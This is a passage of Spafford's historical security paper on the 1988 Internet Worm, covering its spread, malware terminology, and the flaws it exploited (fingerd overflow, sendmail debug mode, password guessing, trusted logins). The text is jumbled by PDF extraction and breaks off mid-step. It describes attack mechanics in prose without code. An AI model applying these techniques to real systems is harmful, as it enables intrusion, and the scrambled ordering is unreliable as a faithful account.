[ Pobierz całość w formacie PDF ]
A Failure to Learn from the Past
Eugene H. Spafford
Purdue University CERIAS
656 Oval Drive
West Lafayette, IN 47907–2086
<
spaf@purdue.edu
>
Abstract
Although the program would only spread to Sun Mi-
crosystems Sun 3 systems, and Digital Equipment Corpo-
ration VAX computers running variants of version 4 BSD
U
NIX
, the program multiplied quickly, as did the confu-
sion and consternation of system administrators and users
as they discovered that their systems had been invaded. Al-
though U
NIX
was known at that time to have some secu-
rity weaknesses (cf. [12, 15, 17, 18]), especially in its usual
mode of operation in open research environments, the scope
of the break-ins nonetheless came as a great surprise to al-
most everyone.
Prior to this incident no similar malicious software had
been widely seen. Few people had heard of computer worms
or viruses, thus making the incident all the more surprising.
As a result, the program was mysterious to users at sites
where it appeared. Unusual files were left in the scratch
(
/usr/tmp
) directories of some machines, and strange
messages appeared in the log files of some of the utilities,
such as the
sendmail
mail handling agent[2]. The most
noticeable effect, however, was that systems became more
and more loaded with running processes as they became re-
peatedly infected. As time went on, some of these machines
became so loaded that they were unable to continue any pro-
cessing; some machines failed completely when their swap
space or process tables were exhausted. Based on some es-
timates of the spread of the Worm, 3000–6000 (5%–10%)
machines were affected at the height of the attack.
By early Thursday morning, November 3, personnel at
many sites around the country had “captured” copies of the
program and begun to analyze it. A common fear was that
the program was somehow tampering with system resources
in a way that could not be readily detected — that while a
cure was being sought, system files were being altered or in-
formation destroyed. By 5 AM EST Thursday morning, less
than 12 hours after the program was first discovered on the
network, the Computer Systems Research Group at Berke-
ley had developed an interim set of steps to halt its spread.
This included a preliminary patch to the
sendmail
mail
agent, and the suggestion to rename one or both of the C
On the evening of 2 November 1988, someone “infected”
the Internet with a worm program. That program exploited
flaws in utility programs in systems based on BSD-derived
versions of
U
NIX
. The flaws allowed the program to break
into those machines and copy itself, thus infecting those sys-
tems. This program eventually spread to thousands of ma-
chines, and disrupted normal activities and Internet con-
nectivity for many days. It was the first major network-wide
attack on computer systems, and thus was a matter of con-
siderable interest.
This paper provides a brief chronology of both the spread
and eradication of the program, a presentation about how
the program worked, and details of the aftermath. That is
followed by discussion of some observations of what has
happened in the years since that incident. The discussion
supports the title of this paper — that the community has
failed to learn from the past.
1.
Introduction
In October of 1988, Mark Lottor made a presentation at
the Internet Engineering Task Force Meeting in Ann Arbor,
Michigan where he stated that the number of hosts on the
Internet was approximately 60,000. A few weeks later, on
the evening of 2 November 1988, these machines came un-
der attack from within. Sometime after 5 PM EST, a pro-
gram was executed on one or more of those hosts. That pro-
gram collected host, network, and user information, then
used that information to establish network connections to
break into other machines using flaws present in those sys-
tems’ software. After compromising those systems, the pro-
gram would replicate itself and the replica would attempt to
spread to other systems in the same manner.
Portions of this paper were taken from [21] and [22]. Readers are di-
rected to those documents for additional details.
compiler and loader to prevent their use. These suggestions
were published in mailing lists and on the Usenet network
news system, although their spread was hampered by sys-
tems disconnected from the Internet in an attempt to “quar-
antine” them.
By about 9 PM EST Thursday, another simple, effective
method of stopping the invading program, without altering
system utilities, was discovered at Purdue and also widely
published. Software patches were posted by the Berkeley
group at the same time to mend all the flaws that enabled
the program to invade systems. All that remained was to an-
alyze the code that caused the problems and discover who
had unleashed the worm — and why.
In the weeks that followed, other well-publicized com-
puter break-ins occurred and many debates began about
how to deal with the individuals staging these break-ins,
who is responsible for security and software updates, and
the future roles of networks and security. In my papers in
1989 I predicted that it would be some time before these is-
sues were put to rest; it is unfortunate that 15 years later we
are still debating some of the same issues, and facing many
of the same problems.
dently — it requires that its “host” program be run to ac-
tivate it. As such, it has an analog to biological viruses —
those viruses are not considered alive in the usual sense; in-
stead, they invade host cells and corrupt them, causing them
to produce new viruses.
2.1.
Worms
The concept of a worm program that spreads itself from
machine to machine was apparently first described by John
Brunner in 1975 in his classic science fiction novel
The
Shockwave Rider
.[4] He called these programs
tapeworms
that existed “inside” the computers and spread themselves
to other machines. In the late 1970s, researchers at Xerox
PARC built and experimented with worm programs. They
reported their experiences in 1982 in [20], and cited Brun-
ner as the inspiration for the name
worm
. Although not the
first self-replicating programs to run in a network environ-
ment, these were the first such programs to be called worms.
The worms built at PARC were designed to do useful
work in a distributed environment of cooperating machines
. Because of this, some people preferred to call the Inter-
net Worm a virus because it was destructive, and they con-
sidered worms to be non-destructive.
2.
Terminology
2.2.
Virus
Initially, there was considerable variation in the names
applied to the malware unleashed on November 2nd. Many
people used the term
worm
instead of
virus
based on its be-
havior. Members of the press used the term virus, possibly
because their experience prior to that incident was only with
viruses. That usage was reinforced by quotes from computer
managers and programmers also unfamiliar with the differ-
ence. However, with time, the general consensus of the se-
curity community has been to consider the program as a
worm program, and hence its name as the Internet Worm.
In [22] I proposed some terminology for malware that
was then further expanded in [25] and [24]. This termi-
nology has largely been adopted, but still lacks neces-
sary precision. Recent incidents of malware show some
of the shortcomings of these earlier definitions: the Slam-
mer/Sapphire program of January 2003 was clearly a worm,
but ILOVEYOU (May 2000) and Blaster (August 2003) re-
quired manual execution to activate, and thus were more in
the nature of Trojan Horse programs. All of these have been
referred to as “viruses” by the popular press and many se-
curity companies.
The definitions I used in 1989 were as follows. A
worm
is
a program that can run independently and can propagate a
fully working version of itself to other machines. It is de-
rived from the word
tapeworm
, a parasitic organism that
lives inside a host and uses its resources to maintain itself.
A
virus
is a piece of code that adds itself to other pro-
grams, including operating systems. It cannot run indepen-
The first use of the term
virus
to refer to unwanted com-
puter code was by Gregory Benford. As related by Dr.
Benford
1
, he published the idea of a virus in 1970 in the
May issue of V
ENTURE
M
AGAZINE
. His article specifi-
cally termed the idea “computer virus” and described a pro-
gram named
Virus
— and tied this to the sale of a program
called
Vaccine
to defeat it. All this came from his expe-
rience as a programmer and research physicist at the (then)
Lawrence Radiation Lab in Livermore. He and the other sci-
entists noticed that “bad code” could self-reproduce among
lab computers, and eventually get onto the ARPANet. He
tried writing and launching some and they succeeded with
surprising ease. Professor Benford’s friend, the science fic-
tion author David Gerrold, later incorporated this idea into
a series of short stories about the G.O.D. machine in the
early 1970s that were later merged into a novel in 1972:
When Harlie Was One
.[11] The description of
virus
in that
book does not quite fit the currently-accepted, popular defi-
nition of computer virus — a program that alters other pro-
grams to include a copy of itself.
Fred Cohen formally defined the term
computer virus
in 1983.[5] At that time, Cohen was a graduate student at
the University of Southern California attending a security
1
In private communication with this author, and later in a letter to the
editor of the NY Times in Decemer of 1994.
seminar. Something discussed in class inspired him to think
about self-reproducing code. He put together a simple ex-
ample that he demonstrated to the class. His advisor, Pro-
fessor Len Adleman, suggested that he call his creation a
computer virus. Dr. Cohen’s Ph.D. thesis and later research
were devoted to computer viruses.
Dr. Cohen defined the term to mean a security problem
that attaches itself to other code and turns it into something
that produces viruses; to quote from his paper: “We define
a computer ‘virus’ as a program that can infect other pro-
grams by modifying them to include a possibly evolved
copy of itself.” He claimed the first computer virus was
“born” on November 3, 1983, written by himself for a secu-
rity seminar course. (That the Internet Worm was unleased
on the eve of the 5th anniversary of this event was coin-
cidence of a most amazing sort.) Actual computer viruses
were being written by individuals before Cohen, although
not named such, as early as 1980 on Apple II computers.[9]
The first few viruses were not circulated outside of a small
population, with the notable exception of the “Elk Cloner”
virus for Apple II computers, released in 1981.
“He defines a virus as a piece of code with two
characteristics:
1. At least a partially automated capability to re-
produce.
2. A method of transfer which is dependent on
its ability to attach itself to other computer enti-
ties (programs, disk sectors, data files, etc.) that
move between these systems.”[27, p. 145]
Several other interesting definitions are discussed in [13,
Chapter 1].
3.
How the Worm Operated
The Worm took advantage of flaws in standard software
installed on many U
NIX
systems of the time. It also took ad-
vantage of a mechanism used to simplify the sharing of re-
sources in local area networks. Those flaws are described
here, along with some related problems. Following is a de-
scription of how the Worm used the flaws to invade systems.
3.1.
fingerd and gets
The
finger
program was a utility that allowed users
to obtain information about other users. It was usually used
to identify the full name or login name of a user, whether
a user was currently logged in, and possibly other informa-
tion about the person such as telephone numbers where he
or she could be reached. The
fingerd
server program was
intended to run as a daemon background process, to service
remote requests using the finger protocol. This daemon pro-
gram accepted connections from remote programs, read a
single line of input, and then sent back output matching the
received request.
The bug exploited to break
fingerd
involved overrun-
ning the buffer the daemon used for input. The standard C
language I/O library has a few routines that read input with-
out checking for bounds on the buffer involved. In particu-
lar, the
gets
call takes input to a buffer without doing any
bounds checking; this was the call exploited by the Worm.
The input overran the buffer allocated for it and rewrote the
stack frame, thus altering the behavior of the program.
The
gets
routine is not the only routine with this flaw.
There is a whole family of routines in the C library that may
also overrun buffers when decoding input or formatting out-
put unless the user explicitly specifies limits on the number
of characters to be converted. Although experienced C pro-
grammers are aware of the problems with these routines,
many continue to use them. Worse, their format is in some
sense codified not only by historical inclusion in U
NIX
and
the C language, but more formally in the ANSI language
standard for C. As a result, there have been hundreds of
buffer overflow vulnerabilities written and discovered in the
last 15 years.
2.3.
Other Notable Definitions
In their widely circulated paper,[7] Eichin and Rochlis
chose to call the November 2nd program a virus. Their rea-
soning for this required reference to biological literature and
observing distinctions between
lytic
viruses and
lysogenic
viruses. It further required that we view the Internet as a
whole to be the
infected host
.
Their explanation merely serves to underscore the dan-
gers of co-opting terms from another discipline to describe
phenomena within our own (computing). The original def-
initions may be much more complex than we originally
imagine, and attempts to maintain and justify the analo-
gies may require a considerable effort. Here, it may also
require an advanced degree in the biological sciences! Al-
though Eichin and Rochlis presented a reasoned argument
for a more precise analogy to biological viruses, it was too
complex a distinction to be useful to computer scientists and
was not adopted.
Cohen (and others, including Len Adleman[1]) have at-
tempted formal definitions of
computer virus
, none have
gained widespread acceptance or use. This is a result of the
difficulty in defining precisely the characteristics of what a
virus is and is not. Cohen’s formal definition includes any
programs capable of self-reproduction. Thus, by his defi-
nition, programs such as compilers and editors would be
classed as “viruses.”
Stubbs and Hoffman quoted a definition by John In-
glis that captures the generally accepted view of computer
viruses:
3.2.
Sendmail
saved.[15, 3, 10] In original (and some current) U
NIX
sys-
tems, the user provided a password at sign-on to verify iden-
tity. The password was used to encrypt a block of zero bits
using a permuted version of the Data Encryption Standard
(DES) algorithm, and the result was compared against a
previously encrypted value present in a world-readable ac-
counting file. If a match occurred, access was allowed. No
plaintext passwords were contained in the file, and the algo-
rithm was supposedly non-invertible without knowledge of
the password.
The organization of the passwords in U
NIX
allowed non-
privileged commands to make use of information stored in
the accounts file, including authentification schemes using
user passwords. However, it also allowed an attacker to en-
crypt lists of possible passwords and then compare them
against the actual passwords without calling any system
function. In effect, the security of the passwords was pro-
vided by the prohibitive effort of trying this approach with
all combinations of letters, or at least trying obvious words.
The Worm used such an attack to break passwords. It
used lists of words, including the standard online dictionary,
as potential passwords. It encrypted them using a fast ver-
sion of the password algorithm and then compared the re-
sult against the contents of the system file. The Worm ex-
ploited the accessibility of the file coupled with the ten-
dency of users to choose common words as their passwords.
Some sites reported that over 50% of their passwords were
quickly broken by this simple approach.
One way to reduce the risk of such attacks, and an ap-
proach that has been taken in every modern variant of U
NIX
,
is to have a shadow password file. The encrypted passwords
are saved in a file (shadow) that is readable only by the sys-
tem administrators, and a privileged call performs password
encryptions and comparisons with an appropriate timed de-
lay (.5 to 1 second, for instance). This prevents any attempts
to “fish” for passwords. Additionally, a threshold can be in-
cluded to check for repeated password attempts from the
same process, resulting in some form of alarm being raised.
A related flaw exploited by the Worm involved the use
of trusted logins. One useful feature of BSD U
NIX
-based
networking code was its support for executing tasks on re-
mote machines. To avoid having repeatedly to type pass-
words to access remote accounts, it was possible for a user
to specify a list of host/login name pairs that were assumed
to be trusted, in the sense that a remote access from that
host/login pair was never asked for a password. This feature
had often been responsible for users gaining unauthorized
access to machines (cf. [17]) but it continued to be used be-
cause of its great convenience. In many systems in use to-
day this feature is still available and enabled by users who
do not understand the risk.
The Worm exploited this mechanism by trying to locate
machines that might trust the current machine/login being
The sendmail program was (and still is) a mailer de-
signed to route mail in a heterogeneous internetwork. The
program operated in several modes, but the one exploited
by the Worm involved the mailer operating as a daemon
(background) process. In this mode, the program was lis-
tening on TCP port #25 for attempts to deliver mail using
the standard Internet protocol, SMTP (Simple Mail Trans-
fer Protocol). When such an attempt was detected, the dae-
mon entered into a dialog with the remote mailer to deter-
mine sender, recipient, delivery instructions, and message
contents.
The bug exploited in sendmail had to do with functional-
ity provided by a debugging option in the code. The Worm
would issue the DEBUG command to
sendmail
and then
specify the recipient of the message as a set of commands
instead of a user address. In normal operation, this was not
allowed, but it was present in the debugging code to al-
low testers to verify that mail was arriving at a particular
site without the need to invoke the address resolution rou-
tines. By using this feature, testers could run programs to
display the state of the mail system without sending mail
or establishing a separate login connection. This debug op-
tion was often used because of the complexity of config-
uring
sendmail
for local conditions and it was often left
turned on by many vendors and site administrators.
The
sendmail
program was of immense importance
on most Berkeley-derived (and other) U
NIX
systems be-
cause it handled the complex tasks of mail routing and
delivery. Yet, despite its importance and widespread use,
most system administrators knew little about how it worked.
Stories were often related about how system administra-
tors would attempt to write new device drivers or otherwise
modify the kernel of the operating system, yet they would
not willingly attempt to modify
sendmail
or its configu-
ration files.
It is little wonder, then, that bugs were present in
sendmail
that allowed unexpected behavior. Other
flaws were found and reported after attention was fo-
cused on the program as a result of the Worm, but to this
day versions of
sendmail
are in use and have occa-
sional patches released for security issues.
3.3.
Passwords
A key attack of the Worm program involved attempts
to discover user passwords. It was able to determine suc-
cess because the encrypted password of each user was in a
publicly-readable file.
Strictly speaking, the password was not encrypted. A
block of zero bits was repeatedly encrypted using the user
password, and the result of this encryption was what was
used by the Worm. This was done by examining files that
listed remote machine/logins trusted by the current host. Of-
ten, machines and accounts were (and are) configured for
reciprocal trust. Once the Worm found such likely candi-
dates, it would attempt to instantiate itself on those ma-
chines by using the remote execution facility — copying it-
self to the remote machines as if it were an authorized user
performing a standard remote operation.
to 20 files; it was used with only three. This led to specu-
lation whether a more extensive version of the Worm was
planned for a later date, and if that version might have car-
ried with it other command files, password data, or possi-
bly local virus or trojan horse programs. However, it is also
possible that 20 was chosen as a limit with no plans for fu-
ture expansion but as a “reasonable size.”
Once the binary files were transferred, the bootstrap pro-
gram would load and link these files with the local versions
of the standard libraries. One after another, these programs
were invoked. If one of them ran successfully, it read into
its memory copies of the bootstrap and binary files and then
deleted the copies on disk. It would then attempt to break
into other machines. If none of the linked versions ran, then
the mechanism running the bootstrap (a command file or
the parent worm) would delete all the disk files created dur-
ing the attempted infection.
3.4.
High Level Description
The Worm consisted of two parts: a main program, and
a bootstrap or vector program. The main program, once es-
tablished on a machine, would collect information on other
machines in the network to which the current machine could
connect. It would do this by reading public configuration
files and by running system utility programs that presented
information about the current state of network connections.
It would then attempt to use the flaws described above to
establish its bootstrap on each of those remote machines.
Many of these techniques seem common in malicious code
of 2003, but were relatively novel in 1988.
The bootstrap was 99 lines of C code that would be com-
piled and run on the remote machine. The source for this
program would be transferred to the victim machine using
one of the methods discussed in the next section. It would
then be compiled and invoked on the victim machine with
three command line arguments: the network address of the
infecting machine, the number of the network port to con-
nect to on that machine to get copies of the main Worm files,
and a
magic number
that effectively acted as a one-time-
challenge password. If the server Worm on the remote host
and port did not receive the same magic number back be-
fore starting the transfer, it would immediately disconnect
from the vector program. This may have been done to pre-
vent someone from attempting to capture the binary files by
spoofing a Worm server.
This code also went to some effort to hide itself, both by
zeroing out its argument vector (command line image), and
by immediately forking a copy of itself. If a failure occurred
in transferring a file, the code deleted all files it had already
transferred, then it exited.
Once established on the target machine, the bootstrap
would connect back to the instance of the Worm that origi-
nated it and transfer a set of binary files (precompiled code)
to the local machine. Each binary file represented a version
of the main Worm program, compiled for a particular com-
puter architecture and operating system version. The boot-
strap would also transfer a copy of itself for use in infecting
other systems.
One curious feature of the bootstrap has provoked many
questions that have never been answered in public: the pro-
gram had data structures allocated to enable transfer of up
3.5.
Step-by-step description
This section contains a more detailed overview of how
the Worm program functioned. The description in this sec-
tion assumes that the reader is somewhat familiar with stan-
dard U
NIX
commands and with U
NIX
network facilities. A
more detailed analysis of operation and components can be
found in [22] with additional details in [7] and [19].
This description starts from the point at which a host is
about to be infected. A Worm running on another machine
has either succeeded in establishing a command shell in-
vocation on the new host and has connected back to the in-
fecting machine via a TCP connection or it has connected to
the SMTP port and is transmitting data to the sendmail pro-
gram.
The infection proceeded as follows:
1. A network socket was established on the infecting ma-
chine for the vector program to connect to (e.g., socket
number 32341). A challenge was constructed from
a random number (e.g., 8712440). A file name base
was also constructed using a random number (e.g.,
14481910).
2. The vector program was installed and executed using
one of two methods:
a) Across a TCP connection to a shell, the Worm
would send a command stream to compile and execute
the vector program, using the challenge and port val-
ues generated in the previous step. Then it would wait
for the string DONE to be echoed to signal that the vec-
tor program was running.
b) Using the SMTP connection, it would transmit
a similar command stream to that for a TCP connec-
tion, but rather than wait for a terminating flag string,
the infecting Worm would then wait for up to 2 min-
utes on the designated port for the vector to contact it.
[ Pobierz całość w formacie PDF ]